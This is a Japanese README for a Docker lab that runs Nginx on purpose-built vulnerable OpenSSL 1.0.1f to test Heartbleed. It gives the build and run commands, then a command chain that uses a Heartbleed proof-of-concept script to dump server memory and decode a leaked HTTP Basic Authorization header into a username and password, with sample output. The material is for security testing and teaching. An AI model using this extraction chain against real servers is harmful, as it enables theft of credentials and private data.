
CVE-2014-0160 Heartbleed の悪用をテストするための Dockerfile
このリポジトリには、CVE-2014-0160 Heartbleed 脆弱性のテストのための、脆弱な OpenSSL バージョン (1.0.1f) を搭載した Nginx の Dockerfile が含まれています。
Docker をインストール
apt-get install -y docker公開されている Docker Hub Registry からdebianベースイメージをダウンロード:
docker pull debian:latest
Dockerfileからイメージをビルド: docker build -t heartbleed_nginx_img .
docker run -i -t -p 1500:443 heartbleed_nginx_img
Heartbleed-poc Pythonスクリプト をダウンロード(テスト目的のみ!)。これはJared Stafford [email protected] によるオリジナルを修正したものです。 SensePostに感謝します。
現在のターミナルで2つの新しいタブを開き、以下を実行:
1つ目のタブ(curlコマンドでHTTP Basic認証を使用してx100回のGETリクエストを生成):
for loop in {0..100..1}; do curl -X GET -s -i -k -u admin:myP@ssword0MG https://127.0.0.1:1500| grep -E "200"; done
HTTP/1.1 200 OK HTTP/1.1 200 OK HTTP/1.1 200 OK HTTP/1.1 200 OK snipp...
2つ目のタブ(x100回のHeartbeatリクエスト(-n 100) を生成し、メモリダンプを "dump.bin" ファイルに書き込み、メモリダンプから "Authorization" フィールドの結果を取得し、最後に Base64 結果文字列をプレーンテキストにデコード(^^)):
python heartbleed-poc.py -f dump.bin -q -n 100 -p 1500 127.0.0.1 && grep -a "^Authorization:" dump.bin | head -n1 | awk -F " " '{print $3}' | tr -d '\n\r' | base64 --decode && echo
WARNING: server 127.0.0.1 returned more data than it should - server is vulnerable! ... received message: type = 22, ver = 0302, length = 66 ... received message: type = 22, ver = 0302, length = 925 ... received message: type = 22, ver = 0302, length = 331 ... received message: type = 22, ver = 0302, length = 4 ... received message: type = 24, ver = 0302, length = 16384 WARNING: server 127.0.0.1 returned more data than it should - server is vulnerable! snipp... admin:myP@ssword0MG